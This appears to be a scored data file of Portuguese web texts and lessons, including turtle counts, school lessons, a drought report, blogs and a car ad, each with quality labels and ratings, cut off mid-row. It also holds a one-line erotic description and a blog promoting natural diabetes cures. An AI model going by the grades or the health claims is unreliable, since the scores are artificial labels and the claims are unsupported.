uruanã ou aruanã. Essa espécie está ameaçada de extinção por conta de vários fatores como a caça, colheita de ovos, acidentes com barcos, redes de pescadores que não tem dispositivos para exclusão de tartarugas, poluição e perda do seu habitat. +Justamente por todos esses fatores e seu risco iminente de extinção que os cientistas resolveram observá-las. Eles fazem isso com a esperança de conseguir ajudá-las a sobreviverem. +É claro que contar o número de tartarugas em uma colônia não é uma tarefa fácil. Mas existem métodos para fazê-lo. +""Métodos anteriores de pesquisa populacional envolviam pintar uma faixa branca na casca das tartarugas-verdes quando elas estavam nidificando na praia. A tinta não é tóxica e é lavada em alguns dias. Depois, a partir de um pequeno barco, tartarugas pintadas e não pintadas eram contadas. Mas os olhos são atraídos muito mais para uma tartaruga com uma faixa branca brilhante do que para uma tartaruga sem pintura, resultando em contagens tendenciosas e precisão reduzida. Tentar contar com precisão milhares de tartarugas pintadas e não pintadas de um pequeno barco em condições turbulentas é difícil"", explicou Andrew Dunstan, membro do Departamento de Meio Ambiente e Ciência do governo de Queensland. +Por esse motivo, em dezembro de 2019, os pesquisadores resolveram inovar e usar um novo método para fazer essa contagem. Eles usaram imagens de drones. O drone fotografou uma enseada de corais de aproximadamente 32 hectares, localizado na borda externa da Grande Barreira de Corais. Ela fica a 620 quilômetros a noroeste de Cairns, na Austrália. +Segundo Dunstan, usar o drone é mais fácil, seguro e mais preciso. Além de economizar um tempo valioso em campo e diminuir um potencial impacto na natureza. Outra vantagem é que os dados podem ser armazenados imediatamente e de forma permanente. +A imagem feita pelo drone foi analisada quadro a quadro em um laboratório. Com isso veio a estimativa de que cerca de 64 mil tartarugas-verdes, na ilha de Raine, estavam indo na direção d terra para colocar seus ovos. Com essa nova contagem, os pesquisadores concluíram que a última contagem feita tinha os números subestimados por um fator de 1,73. +Contar essa população com o uso do drone é parte do projeto chamado ""Raine Island Recovery Project"". O objetivo dele é proteger e recuperar o habitat da ilha australiana e garantir o futuro das principais espécies marinhas locais. +Imagens Bored panda Twitter",original,original,original,original,3,0.6 +Por inutensiliospoeticos / 3 de março de 2017 935 × 1304 pixels / Deixe um comentário,original,original,original,original,0,0.0 +"Olá, pequenos exploradores! Já pararam para pensar em como medimos as coisas ao nosso redor? Medir faz parte da nossa vida e nos ajuda em muitas situações, desde preparar um bolo delicioso até construir uma casa bem forte e segura. Vamos embarcar juntos nessa aventura para entender melhor as medidas e as grandezas! + +Imagine que você quer convidar seus amigos para uma festa. Para saber quantos docinhos e salgadinhos comprar, você precisa medir a quantidade certa, não é mesmo? E como fazemos isso? Usamos diferentes tipos de medidas, como o peso (gramas e quilos para os doces e salgados), a capacidade (litros para o suco) e o tempo (horas para a duração da festa!). + +A professora Ana sempre começa a aula perguntando: “Qual é a sua altura?”. Cada um se levanta e ela usa uma fita métrica para medir. A altura é uma medida de comprimento. Usamos o centímetro (cm) para medir coisas pequenas, como o tamanho de um lápis, e o metro (m) para coisas maiores, como a altura de uma porta ou o comprimento de uma sala. E para distâncias bem longas, como a distância entre duas cidades, usamos o quilômetro (km). Que tal medir a sua altura e a dos seus amigos? Vocês podem comparar e ver quem é o mais alto! + +Outra coisa super importante é o tempo. A gente mede o tempo em segundos, minutos, horas, dias, semanas, meses e anos. Para saber que horas são, olhamos para o relógio. O relógio nos ajuda a organizar o nosso dia: a hora de acordar, de ir para a escola, de brincar e de dormir. Já pensou em como seria difícil viver sem saber que horas são? Tente imaginar um dia sem relógio e veja como o tempo é fundamental para tudo o que fazemos. + +Além do comprimento e do tempo, temos a massa, que popularmente chamamos de peso. Quando vamos ao supermercado comprar frutas, verduras e carne, usamos o quilo (kg) ou a grama (g) para medir a quantidade. Uma maçã pode pesar cerca de 200 gramas, enquanto um saco de arroz pode ter 5 quilos. A balança é o instrumento que usamos para medir a massa dos objetos. Que tal pedir para um adulto te mostrar diferentes produtos com suas medidas de peso? + +E não podemos esquecer da capacidade, que usamos para medir líquidos. Quando compramos leite, suco ou água, geralmente usamos o litro (l) ou o mililitro (ml). Uma garrafa de água pode ter 1 litro, enquanto uma colher de xarope pode ter 5 mililitros. Os recipientes, como copos medidores e jarras, nos ajudam a medir a capacidade dos líquidos. Tente descobrir quantos copos de água são necessários para encher uma garrafa de 1 litro. + +As medidas e as grandezas estão por toda parte! Ao cozinhar, ao construir, ao planejar uma viagem, ao brincar e até mesmo ao assistir televisão. Prestar atenção nas medidas nos ajuda a entender melhor o mundo e a resolver problemas do dia a dia. Então, continue explorando, medindo e descobrindo as maravilhas da matemática! E lembre-se: a matemática pode ser muito divertida e está sempre presente em nossas vidas! + +Agora, pensem um pouquinho: Em quais outras situações do dia a dia vocês usam as medidas? Como vocês usariam a régua para medir um objeto pequeno? E como vocês usariam o relógio para organizar as atividades de um dia?",Matemática,Medidas e grandezas,anos iniciais (1º ao 5º ano),"O trecho é altamente relevante para o ensino fundamental, introduzindo o conceito de medidas e grandezas de forma lúdica e acessível. Apresenta exemplos práticos do cotidiano, como cozinhar, planejar uma festa e ir ao supermercado. O texto é claro, consistente e inclui perguntas que estimulam a reflexão dos alunos. Aborda unidades de medida como gramas, quilos, litros, metros, centímetros e tempo, essenciais no currículo escolar. Por isso, recebe a pontuação máxima.",5,1.0 +"Ógui Lourenço Mauri é o destaque poético de Catanduva, São Paulo, conhecido por sua modéstia e por criar poesias e trovas deslumbrantes, é um amigo muito especial, a cujas opiniões dou muito valor. Ógui também escreve poesias em espanhol, com o pseudônimo de Lorenzo Yucatan, claro que eu prefiro seus poemas em português, mas tudo o que ele faz reflete seu bom gosto e preocupação com a qualidade, por isto admiro tanto este grande amigo. +Os materiais apresentados neste site tem os direitos autorais registrados para Ógui Lourenço Mauri, é proibida a cópia ou distribuição de qualquer parte por qualquer meio sem a autorização prévia do autor. +Palavras do Coração (seu site pessoal) +Reino da Poesia (sua página pessoal) +Clique nos títulos sublinhados para visitar os sites! (em azul)",original,original,original,original,1,0.2 +"Temporada de girassóis volta a encantar, mas com um apelo do dono neste ano - Notícias - Blitz News +Temporada de girassóis volta a encantar na capital +Temporada de girassóis volta a encantar, mas com um apelo do dono neste ano +Fotógrafo André Patroni +Uma plantação de girassóis com aproximadamente 150 hectares de extensão em Campo Grande volta a ser a atração turística na cidade. O local virou cenário perfeito para fotografias e um encontro com a calmaria, mas nem todo o ano ganha o “mar amarelo” de flores vivas. Por isso, quem quiser aproveitar, tem pela frente uns 15 dias. +A paisagem diferente mudou a rotina do campo-grandense em 2016, quando ocorreu o último plantio na Fazenda Cinco Estrelas, que fica ao lado da termelétrica William Arjona, no Indubrasil. À época, bastou uma publicação sobre o cenário de sucesso na propriedade do empresário João Carlos Stefanello, gaúcho que veio para Campo Grande cultivar soja, milho, trigo e feijão, para o lugar se tornar ponto de encontro e de peregrinação para ensaios. +Dezenas de fotógrafos aproveitaram a paisagem para registrar noivos, encontros em família e até a coragem de mulheres em tirar a roupa, tudo pela liberdade em meio à natureza. +Quem se lembra dessa multidão para tirar fotos na fazenda é o gerente de lavoura, Carlos de Lima, que trabalha no local há 10 anos. “Teve gente que veio de cidade de fora e deixou telefone com a minha esposa para que a gente avisasse quando estivesse florido de novo”. +E nem foi preciso gentileza de seu Carlos, que na semana passada, viu turista no emaranhado de girassóis que só deram às caras neste ano. “Já veio gente de caminhonete pedir autorização para fazer foto. Na estrada todo mundo para”, comenta. +Ano passado não teve plantio “por uma questão de mercado”, afirmou o proprietário durante contato. Neste ano, uma parcela menor da fazenda foi aproveitada para o plantio. “Dessa vez são 150 hectares de girassol. É variado, tudo vai depender do mercado que indica o que é melhor plantar”, afirma o gerente. +Pedido - Mas apesar da beleza do cenário, é preciso tomar alguns cuidados ao visitar o local. O gerente de lavoura explica que as flores não podem ser arrancadas até o fim do plantio. “Precisamos delas e já encontrei algumas flores jogadas no chão, arrancadas”, lamenta. “O dono e nós trabalhadores só pedimos cuidado”, diz indicando que os visitantes fotografem e visitem os girassóis sem danificar a plantação. +Segundo Carlos, as flores devem durar, bonitas, no máximo, julho. “Depois disso, elas começam a cair e a colheita é feita dentro de 70 dias”. +O local fica a poucos a minutos do centro da cidade, na saída para Sidrolândia, ao lado termelétrica William Arjona. +Disney divulga alerta no filme Incríveis 2. +Você sabe como usar o blazer boyfriend?. +CBF orienta a não chamar o Canarinho de.... +Felipe Neto lança música para Copa de 2018.",original,original,original,original,1,0.2 +"Márcio Melo: MUITO GRAVE: situação de água no Nordeste é dramática +MUITO GRAVE: situação de água no Nordeste é dramática +Reportagem dramática no Valor Econômico hoje mostrando quanto é difícil a situação de água no Nordeste. +O Nordeste corre contra o tempo para enfrentar a seca. Depois de seis anos de estiagem, os reservatórios da região estão com apenas 18% da capacidade. Na Paraíba o índice não passa de 11% e em Pernambuco está abaixo de 10%. Dos 533 reservatórios da região monitorados pela Agência Nacional de Águas (ANA), 112 estão secos. As obras de transposição do Rio São Francisco já livraram quase um milhão de pessoas da ameaça de falta de água, mas o que já é ruim ainda pode piorar. “Para o ano que vem a situação pode ficar gravíssima”, diz Paulo Varella, diretor de gestão de águas da ANA. +No Semiárido Brasileiro, que se espalha por oito Estados e Minas Gerais, a chuva de abril, considerado chuvoso na região, somada às precipitações dos meses anteriores, reduziu a área de abrangência da seca, mas não eliminou os impactos da estiagem de longo prazo. Só na Paraíba são quase 200 cidades em estado de emergência, com abastecimento por carro pipa ou racionamento. Há reservatórios secos em seis dos oito Estados. +Além da seca, o serviço de abastecimento de água em 1.122 dos 1.135 municípios do Semiárido, que abriga mais de 22 milhões de pessoas, não garante acesso a toda a população.Pior: registra perdas de 44,87%. Muito pior: apenas 39% estão dentro dos padrões adequados ao consumo humano estabelecidos pelo Ministério da Saúde. É o que aponta o estudo “Abastecimento Urbano de Água – Panorama para o Semiárido Brasileiro”, do Instituto Nacional do Semiárido (INSA). +Para enfrentar a seca, prefeituras aceleram programas de racionamento e governos estaduais ampliam os projetos de perfuração de poços e dessalinização da água do subsolo para atender comunidades rurais. O governo federal entregou a água do São Francisco aos portais de recebimento do Eixo Leste do Projeto de Transposição do São Francisco na Paraíba e Pernambuco, para ser levada aos reservatórios pelos governos dos dois Estados, e tenta finalizar o Eixo Norte. +A Articulação Semiárido Brasileiro (ASA), uma rede formada por mais de três mil organizações da sociedade civil, desenvolve e executa o projeto de implantação de um milhão de cisternas. Empresas incentivam projetos inovadores de captação e produção de água potável. A Ambev formou ano passado um comitê de especialistas em segurança hídrica e lançou a AMA, uma água mineral com 100% do lucro das vendas destinados a projetos que visam aumentar o acesso à água potável no semiárido. +O programa Água Doce, do Ministério do Meio Ambiente em parceria com governos estaduais e municipais e suporte de organizações da sociedade civil, já mapeou 3.145 comunidades em 298 municípios e estabeleceu a meta de implantar 1.357 sistemas de dessalinização com recursos de R$ 258 milhões até o ano que vem.",original,original,original,original,4,0.8 +"EDUCAÇÃO E O FUTURO ~ TRIBUNA DA IMPRENSA SINDICAL +“Qualquer candidato a cuidar da educação brasileira deveria estar preparado para enfrentar pelo menos as seguintes questões: 1) Por que os alunos brasileiros vão tão mal no Pisa, o Programa Internacional de Avaliação de Estudantes? 2) Como melhorar os níveis fundamental e médio do ensino brasileiro, obviamente em condições muito más? 3) Como adaptar o ensino às condições impostas (sim, impostas) pela chamada revolução 4.0? 4) Como preparar professores para formar alunos capazes de atuar com sucesso na economia do século 21? 5) Que experiências bem sucedidas no exterior poderiam proporcionar elementos a um programa de modernização educacional?”",original,original,original,original,3,0.6 +"BC Media - Dicas e Consultas 2016: controlar diabetes tipo 1 +Mostrando postagens com marcador controlar diabetes tipo 1. Mostrar todas as postagens +Daremos foco aos alimentos para controlar diabetes, pois eles são muito procurados por pessoas que possuem esse problema de saúde. Saiba como você pode fazer para que a sua saúde fique melhor com a ajuda dos alimentos que você consome. Existem muitos alimentos bons e que vai agradar o seu paladar. +Como Fazer Limpeza do Fígado e Vesícula +Cipo Mil Homens e Argila +Receitas Doces Diet Para Diabéticos +Da mesma forma que existem alimentos que prejudicam a saúde de quem tem diabetes, existem aqueles alimentos para diabéticos que melhoram a saúde desses pacientes. São esses alimentos que iremos apresentar abaixo. São alimentos que encontramos facilmente e que podemos inclui-los em várias refeições do dia, sem nenhum problema. +• Peixes de águas profundas; +• Iogurte sem gorduras; +• Amêndoas; +• Linhaça; +• Chia; +• Batata yacon; +• Farinhas funcionais. +Postado por Monica Romana às 06:27 Nenhum comentário: +Marcadores: alimentos para controlar diabetes tipo 2, controlar diabetes com produtos naturais, controlar diabetes de forma natural, controlar diabetes naturalmente, controlar diabetes tipo 1",original,original,original,original,2,0.4 +"Posso não chegar a ganhar um Nobel, mas este feito ninguém me tira. +Não temos uma relação perfeita, os outlets e eu. Quantas vezes não vou à procura de uma coisa em particular, ou só com vontade de encontrar roupa gira, e acabo por achar tudo horrível. Depois há dias em que vou só para ver as montras e gosto de tudo. Fui este domingo ao Freeport à caça das botas que referi neste post (minhaaaas!) e acabei por trazer também esta sweat, em cinzento, que ao vivo é a coisa mais macia de sempre e tem um corte que adoro. Pelo caminho, encontrei pijamas polares fofinhos da Women'Secret por 1/4 do preço original. Eram todos em XS mas encontrei o único S no meio do monte, e estamos agora muito felizes (eu e o pijama, claro, what else?). +Mas a melhor compra foi mesmo o vestido cujos preços original e final podem ver na fotografia, que é branco e lindo (e se me quiser mascarar de Samara Morgan no próximo Carnaval, já estou safa). +E vocês, gostam dos outlets? Para além do Freeport -inegavelmente o maior e mais completo-, recomendam algum? +Bem... esse artigo foi um achado! +Não costumo ir muito a outlets, mas apenas porque não existem nenhuns perto de mim (que eu saiba). No entanto, há uns tempos fui ao Freeport e também encontrei umas pechinchas! hehe +O truque é mesmo o que dizes: ir sem lista de compras. Aliás, eu nem ia comprar nada, só ia ver. Que chatice que saí de lá com vários saquinhos pela mão :) +Detesto ir às compras e não gostar de nada, fico possessa :). +Acabei de me rever no que dizes...é quando menos esperamos que acabamos por encontrar aquilo que precisamos. +Bem mas que grande achado! Agora queremos é ver as compras eheheh! Eu também adoro outlets! +Ainda não apurei o meu jeito para fotografar roupa, mas duas das coisas que comprei estão ""linkadas"" no texto :) +Beatriz Sousa 10 de novembro de 2015 às 14:08 +Só fui uma vez e não vi nada de jeito, por isso deixei de ir. +Acho que vale a pena insistir :) +Que grande achado! Também adoro fazer estes negócios (se bem que acho que nunca fiz nenhum tão bom quanto este). +Ultimamente vou muitas vezes ao Strada (é pequeno mas é óptimo para ir ao cinema!). +Também conheço o Strada :) Mas o Freeport ganha por ser, na minha opinião, um espaço mais bonito. +E este tempo é um espetáculo! Será que podia ficar assim até à próxima Primavera? :) +Ah ah, eu também pensei que estava a ler mal quando olhei para a etiqueta. +Eu vivo longe de todos os outlets que existem em Portugal. E acredita e eu sou fã da Mango e portanto, volta e meia vou ao site da Mango Outlet e consigo encontrar umas pecinhas jeitosas. Mas lá está, viver perto deles é melhor :) +Pois é, a Mango é das poucas lojas que tem outlet online. Não conheço mais nenhuma. +Muito obrigada pela tua visita e pelo teu comentário. O teu blog é muito giro :) +Que top de compra!! Quem me dera encontrar assim! Well Done! :) +Elisabeth Mota 11 de novembro de 2015 às 17:08 +Mas acontece as vezes com coisas que não precisamos :P +Eu confesso que adoro comprar coisas baratas e nem sequer estou a gozar. Só compro roupa em saldos e com preços assim até eu caía na tentação de comprar logo algo, mesmo que não precisasse! aha +Eu só fui uma vez e nunca consegui encontrar roupa gira ou, se gira, que me servisse... +Costumo ir ao Outlet de Vila do Conde e adoro! Sou a rainha das pechinchas (mas como esta ainda não vi, vais roubar-me o título!) :)",original,original,original,original,0,0.0 +"A Fazenda Santa Maria tem em seu “Grande Sobrado” de 1889 a história viva, onde retrata momentos históricos... Leia mais +Ecoturismo é o turismo em localidades com objetivo de explorar os locais com potencial ecológico na Fazenda Santa... Leia mais +Roteiro de Estudos Excursões e Visitas Orientadas Roteiros: Histórico, Ambiental e Lazer. A Educação Patrimonial é um processo... Leia mais +""Conheça a riqueza da história"" +Agende uma visita e conheça um dos patrimônios culturais mais belos do interior de São Paulo, tombado pelo CONDEPHAAT. Fazenda Santa Maria tem mais de 150 anos de história preservada através de gerações. +A Fazenda Santa Maria do Monjolinho recebeu a visita de 97 alunos do Colégio São José da cidade de São José do Rio Preto pela agência Discovery Tours Leia mais... +Minas Gerais também visita a Fazenda Santa Maria! +No dia 02/05/18 a turma do curso técnico de Agronomia do Instituto Federal do Norte de Minas campus Arinos esteve na Fazenda!",original,original,original,original,2,0.4 +"Usados BMW 525 - 13 500 EUR, 229 816 km, 2005 | Standvirtual +BMW 525 DA Touring Pack M (gps/tectos) +2005 229 816 km Diesel +Localização Avenida de Covelas n.116 Covelas. nacional 103 - 4830-121 Póvoa de Lanhoso, concelho Póvoa de Lanhoso (Portugal) Ver Mapa +18:21, 21 Junho 2019 ID: 8033665461 +DA Touring Pack M (gps/tectos) +229 816 km +525 da Pack M completamente nova; full extras; bixenon; tectos; gps; bancos eléctricos camel aquecidos; luzes de cortesia; jantes 18 antracite com 4 pneus novos; suspensão pneumática; direcção activa; chave inteligente; cruise-control; sensores de chuva, estacionamento e luz; espelho anti-encandeamento; máximos automáticos; cortinas nas portas traseiras; grelhas em preto; vidros escuros; kit telefone; livros; revisão feita; alarme; etc... Pintura e interiores impecáveis. Está imaculada. Sem barulhos nem folgas e sempre muito bem assistida. (oferta do registo e oferta de estadia de uma semana de férias NORTE/ALGARVE/MADEIRA E AÇORES, à escolha do cliente). Excelente oportunidade. Com garantia de 12 meses por mútuo acordo. Venha visitar nos e comprove o estado do mesmo. Estamos abertos de segunda a sábado das 9 ás 20 horas com + de 100 viaturas em stock, visite também o nosso +BMW 525 d Lci Pa... BMW 525 d Lci Pack M Auto (motor 3000cc/gps/tectos) +232117 km +BMW 525 d Pack M... BMW 525 d Pack M (Kit M5/selo antigo) +372039 km +264943 km +BMW 330 d Coupé ... BMW 330 d Coupé Pack M (Gps Pro) +Voltar ao anúncio BMW 525 DA Touring Pack M (gps/tectos)",original,original,original,original,0,0.0 +"Olá, exploradores do Brasil! Já pararam para pensar como o nosso país é gigante e cheio de lugares diferentes? Hoje, vamos embarcar em uma jornada para conhecer as paisagens brasileiras, desde as praias ensolaradas até as florestas densas e os campos abertos. Preparados? + +O Brasil é tão grande que possui uma variedade enorme de paisagens, cada uma com suas características únicas. Essas paisagens são moldadas por diferentes fatores, como o clima, o relevo, o tipo de solo e a presença ou ausência de água. Vamos começar pelas paisagens litorâneas, que se estendem por toda a costa do país. Imagine as praias de Copacabana, no Rio de Janeiro, ou as falésias da Bahia. Essas paisagens são marcadas pela presença do mar, com suas ondas, areias e a rica vida marinha. O clima quente e úmido favorece o crescimento da Mata Atlântica, uma floresta exuberante que acompanha boa parte do litoral. + +Agora, vamos para o interior do Brasil, onde encontramos paisagens como o Cerrado, a Caatinga e a Amazônia. O Cerrado, com sua vegetação rasteira e árvores retorcidas, é um bioma que ocupa grande parte do centro do país. Já a Caatinga, no Nordeste, é marcada pela seca e pela vegetação adaptada à falta de água, como os cactos. E, claro, não podemos esquecer da Amazônia, a maior floresta tropical do mundo, com rios imensos, árvores gigantes e uma biodiversidade incrível. Cada uma dessas paisagens tem sua importância e beleza, e abriga uma variedade de animais e plantas que não encontramos em outros lugares do mundo. + +As paisagens brasileiras não são apenas bonitas, elas também são importantes para a nossa vida. É delas que retiramos alimentos, água, energia e outros recursos que precisamos para viver. Por isso, é fundamental que cuidemos do nosso meio ambiente e preservemos as nossas paisagens. Pense em como o desmatamento da Amazônia pode afetar o clima em outras regiões do país, ou como a poluição dos rios pode prejudicar a vida das pessoas que dependem dessa água. Pequenas atitudes, como economizar água, reciclar o lixo e plantar árvores, podem fazer uma grande diferença. + +E aí, o que acharam da nossa aventura pelas paisagens do Brasil? Conseguiram perceber como o nosso país é diverso e rico em belezas naturais? Que tal agora pesquisarem sobre a paisagem da região onde vocês moram? Descubram quais são as características do clima, do relevo e da vegetação. Observem os animais e as plantas que vivem por perto. Tenho certeza de que vocês vão se surpreender com a riqueza da natureza brasileira! Lembrem-se: conhecer e valorizar as nossas paisagens é o primeiro passo para cuidarmos do nosso planeta.",Geografia,Paisagens brasileiras,anos finais (6º ao 9º ano),"O trecho apresenta alto valor educacional por introduzir as paisagens brasileiras de forma didática e envolvente, adequada para o ensino fundamental. Apresenta informações relevantes sobre diferentes biomas, clima, relevo e a importância da preservação ambiental, utilizando uma linguagem acessível e incentivando a pesquisa e a observação do entorno. A estrutura do texto e o conteúdo são adequados para um aprendizado estruturado, justificando a pontuação máxima.",5,1.0 +A linda modelo Jasmine Davis despe a sua lingerie e revela os seus peitos suculentos e pernas longas num ensaio picante para a Playboy.,original,original,original,original,0,0.0 +"CiênciaCuriosidadesMistérios +By Luighi Feodrippe Last updated mar 19, 2018 +Parece obra de ficção científica, mas não é. O astronauta Scott Kelly, da Nasa, ficou mais alto e mais jovem após passar um ano em uma viagem para a Estação Espacial Internacional. Mas essas não são as principais preocupações com o astronauta, a Nasa ainda estuda como o corpo de Kelly se comportou no espaço, estudando seu sistema imunológico e se ele perdeu muita massa óssea e muscular durante a missão. +De acordo com a Administração Nacional do Espaço e da Aeronáutica ( NASA ), Kelly ficou aproximadamente 5 centímetros mais alto que quando deixou a Terra em sua última expedição, isso devido a falta de gravidade no espaço, que puxa o corpo humano para baixo. De acordo estudos a falta de gravidade atua na nossa coluna vertebral, podendo assim esticá-la até 7,5 centímetros a mais que quando estamos na Terra, onde há gravidade. A sua altura agora é temporária, a gravidade vai eventualmente puxá-lo ao seu tamanho natural. +De acordo com a teoria da relatividade geral de Einstein, a explicação que se tem é que se dois objetos se movem a velocidades diferentes, o tempo corre mais rapidamente para o objeto mais lento – um fenômeno chamado dilatação do tempo. +O astronauta estava se movendo a uma velocidade muito mais rápida que nós aqui na Terra, cerca de 27 mil quilômetros por hora em relação ao nosso planeta, isso dá um cálculo que ele esteja 8,6 milissegundos mais jovem. O rejuvenescimento em Kelly não é algo notável, ele está pouco menos de 1% de segundo mais jovem, levando em consideração os 340 dias que ele esteve em órbita. +[The Verge, Quartz] +Vamos direto ao ponto: A Terra é plana? +Novo material de grafeno é mais resistente do que diamante quando é atingido por uma…",original,original,original,original,3,0.6 +"Você já se perguntou como sabemos o que aconteceu há muito, muito tempo atrás? Uma das ferramentas mais legais que os historiadores usam (e que você pode usar também!) é a linha do tempo. Imagine uma estrada longa, reta e muito, muito comprida. Essa estrada é o tempo! Nela, podemos colocar os eventos importantes na ordem em que aconteceram. + +Começamos pensando no hoje. Onde você está nessa estrada do tempo? Você está aqui e agora, aprendendo sobre a linha do tempo! Mas, se olharmos para trás, podemos lembrar de quando você nasceu, quando aprendeu a andar, seu primeiro dia na escola. Cada um desses momentos pode ser colocado na nossa linha do tempo pessoal. + +E a linha do tempo não serve só para lembrar das nossas vidas. Ela nos ajuda a entender a história do Brasil e do mundo! Por exemplo, podemos marcar na linha do tempo quando os portugueses chegaram ao Brasil, quando Dom Pedro I gritou “Independência ou Morte!”, ou quando a televisão chegou nas nossas casas. Assim, vemos como as coisas foram acontecendo uma depois da outra e como o passado influencia o presente. + +Para fazer sua própria linha do tempo, você pode usar um pedaço de barbante, uma régua ou até mesmo desenhar no chão com giz! Marque o início e o fim da sua linha e, depois, pense nos eventos importantes que você quer lembrar. Escreva ou desenhe esses eventos na ordem correta, um depois do outro, na sua linha do tempo. + +Que tal criar uma linha do tempo da sua família? Você pode conversar com seus pais e avós para descobrir quando eles nasceram, quando se casaram ou quando aconteceram momentos especiais na vida deles. Ao organizar essas informações na linha do tempo, você vai conhecer melhor a história da sua família e entender como você faz parte dela. + +A linha do tempo é como um mapa do passado. Ela nos ajuda a organizar as ideias, a entender a história e a perceber como as coisas mudam com o tempo. E o mais legal é que você pode criar a sua própria linha do tempo e explorar o passado de um jeito divertido e interessante! Pense um pouco: se pudesse colocar um evento do futuro na sua linha do tempo, qual seria?",História,Linha do tempo,anos iniciais (1º ao 5º ano),"O trecho apresenta alto valor educacional, pois introduz o conceito de linha do tempo de forma clara e acessível para crianças. Utiliza linguagem simples e exemplos práticos (eventos pessoais, história do Brasil) para ilustrar o uso da ferramenta. Incentiva a criação de linhas do tempo familiares, promovendo a conexão com a história pessoal e coletiva. O texto é bem estruturado, coerente e adequado para o ensino fundamental, especialmente os anos iniciais.",5,1.0 +"No dia 24 de julho de 1908, isto é, há cem anos, nascia Solano Trindade, um poeta de importância fundamental para a literatura afro-brasileira. Solicitamos ( ""Quilombhoje"" quilombhoje@quilombhoje.com.br ) à sua filha, Raquel Trindade, que falasse (ou melhor, escrevesse) um pouco sobre seu pai e ela gentilmente nos brindou com o texto a seguir, que desenha um rosto bem humano de um poeta que precisa ser lido sempre, especialmente pelas novas gerações. +Creio que é o sonho de toda criança: ter um pai como o meu. Na época em que os pais batiam muito nas crianças, ele era carinhoso e paciente com a gente: eu, Godiva, Liberto e Chiquinho. Em 1945, ele já falava no Direito da Criança, quando essa lei nem sonhava em existir. +Antes de sair para o trabalho, para vender seus livros e quadros (que trabalho, dirão meus irmãos trabalhadores, ele dizia quando entrava no trem da Leopoldina em Duque de Caxias, no Rio), ele brincava com a gente no quintal. +Um dia uma vizinha foi fazer queixa de mim, porque eu tinha batido no filho dela. Ela dizia: ― Essa menina precisa de uma surra. +Meu pai, pra satisfazer a vizinha, disse pra mim: ― Você não quer ser artista? Vamos fazer um teste, eu vou bater com o cinto na parede e você grita como se estivesse apanhando de verdade ―. E assim foi... A vizinha ouviu os gritos de sua casa, e foi encontrar minha mãe Margarida no caminho: ― Dona Margarida, estou morrendo de remorso, fiz queixa da Raquel e seu Francisco deu uma surra nela. +SOLANO ― Que nada, essa menina é uma artista, eu batia na parede e ela gritava. +De tarde, a vizinha, ainda com remorso, me trouxe um bolo. +Meu pai conversava muito comigo, me falava dos problemas raciais, da má divisão de renda do povo brasileiro. Me dizia do respeito que se devia ter com as diferenças, me falava da história da África, como eu devia me orgulhar de ser negra, sem discriminar qualquer outra raça. Enquanto minha mãe (Terapeuta Ocupacional, trabalhou no Museu da Imagem do Inconsciente, com Dra. Nice de Oliveira; era uma exímia costureira, bordadeira) me ensinou a fazer os serviços domésticos, a ser sempre honesta, a me afastar de vícios, como fumar e beber. +Ela, mesmo presbiteriana como era, me ensinou todas as danças folclóricas, com exceção das danças dos Orixás, que aprendi quando entrei no Candomblé. +Papai me orientava para as artes, me levando a ateliês de seus amigos, comprando livros, porque sabia que eu gostava de ler. +Fiz o primário gratuito porque tinha uma senhora, Dona Armanda Álvaro Alberto, que mantinha uma escola para as crianças pobres de Caxias, muito avançada, nos moldes europeus. +Mas o ginásio, não tinha público, papai pagava com dificuldade, pois ele vivia da arte. Aí eu atrasava o pagamento, passava abaixadinha na secretaria para que o Dr. Ely Combat (diretor do ginásio de Caxias) não me visse, aí ele ia até a sala de aula e falava: +― Quem não pagou a mensalidade não faz prova... +Falava com papai, ele dizia: ― Filha, não vou lhe deixar nada material, só o que você estudar, vou pra cidade tentar vender um quadro ou livros, mas você não vai perder a prova. +Eu tinha uns 9 anos quando ele foi preso político. Policiais truculentos, armados até os dentes, invadiram à noite a nossa casa, ele estava de cueca ""samba-canção"", acalmava a gente, eu e minha irmã chorando, Liberto com sarampo na cama que os policiais reviraram dizendo que tinha armas escondidas. Logo papai, que era pacifista como Gandhi, mamãe ficou brava com os policiais. +Levaram ele... Mamãe ia de prisão em prisão com a gente, até que descobriu que ele estava preso incomunicável na Rua da Relação (Rio). +Depois, quando eu estudava o clássico, me levou para a Europa com o elenco do Teatro Popular Brasileiro, ele foi de avião, nós fomos de navio Louis Limiere, e voltamos no Provence. +Em 1961, convidados pelo escultor Assis, viemos para o Embu. +E hoje coloco em prática, com filhos e netos, todos os ensinamentos desse grande pai Solano Trindade. +Raquel Trindade, 26 de junho de 2008",original,original,original,original,4,0.8 +"Se você acha que financiamento imobiliário é complicado e impossível de conseguir, engano seu. Com a informação certa é possível conquistar a sua nova casa ou apartamento mais rápido, sem quebrar a cabeça com tanta burocracia. +Este artigo traz as principais regras do financiamento imobiliário. Quer saber mais sobre o assunto? Continue lendo. +Um dos requisitos para conseguir financiar o imóvel dos sonhos é comprovar uma renda mensal. Mas, é importante frisar que não se trata de qualquer renda. +Para fins de aprovação de financiamento, usando como base o financiamento pela Caixa Econômica Federal, a prestação não pode ser maior que 30% da sua renda familiar bruta. Ou seja, ​uma pessoa cujo salário é R$1500, não pode pagar mais do que R$450 na prestação da casa. +Esse limite é definido por lei e visa proteger o consumidor de endividamento. Pois, entende-se que uma parcela maior do que a do teto de 30% poderia comprometer despesas básicas como alimentação, habitação, transportes, vestuários e lazer. +Ao financiar um carro, uma moto ou até fazer a matrícula na academia, é feita uma consulta prévia acerca das restrições de crédito do CPF de cada cliente. No financiamento de um imóvel não poderia ser diferente. +Além da consulta para verificar se há restrições no CPF, todo o histórico é verificado. São exemplos de cadastros consultados: Serasa, SPC, BACEN e Receita Federal. +Por se tratar de um valor alto e prazo longo, a instituição financeira precisa, de alguma forma, se certificar que a concessão de crédito para determinada pessoa é segura e vale a pena. +A única forma de adquirir um imóvel mesmo com dívidas pendentes no CPF é financiando pela Faixa 1 do Programa Minha Casa Minha Vida. Afinal, essa faixa é destinada para pessoas cuja renda familiar não ultrapasse R$1.800. É na faixa 1 que os subsídios também são maiores e os juros menores. +Não sabe quais os documentos necessários para financiar o seu imóvel? Anote aí: +Última declaração do Imposto de Renda e recibo de entrega à Receita Federal +Engana-se quem acha que só poderá comprar uma casa ou um apartamento a partir do financiamento da Caixa Econômica Federal. Os tipos de imóveis e negócios que podem ser feitos dessa forma são vários. Confira: +Imóvel novo ou usado: tipo de financiamento mais tradicional de todos, serve para a compra de casa ou apartamento. +Terreno e Construção: essa modalidade pode ser interessante para quem está planejamento construir, pois é possível financiar tanto o terreno (lote +urbanizado) como a construção completa do imóvel. +Construção em Terreno Próprio: esse tipo 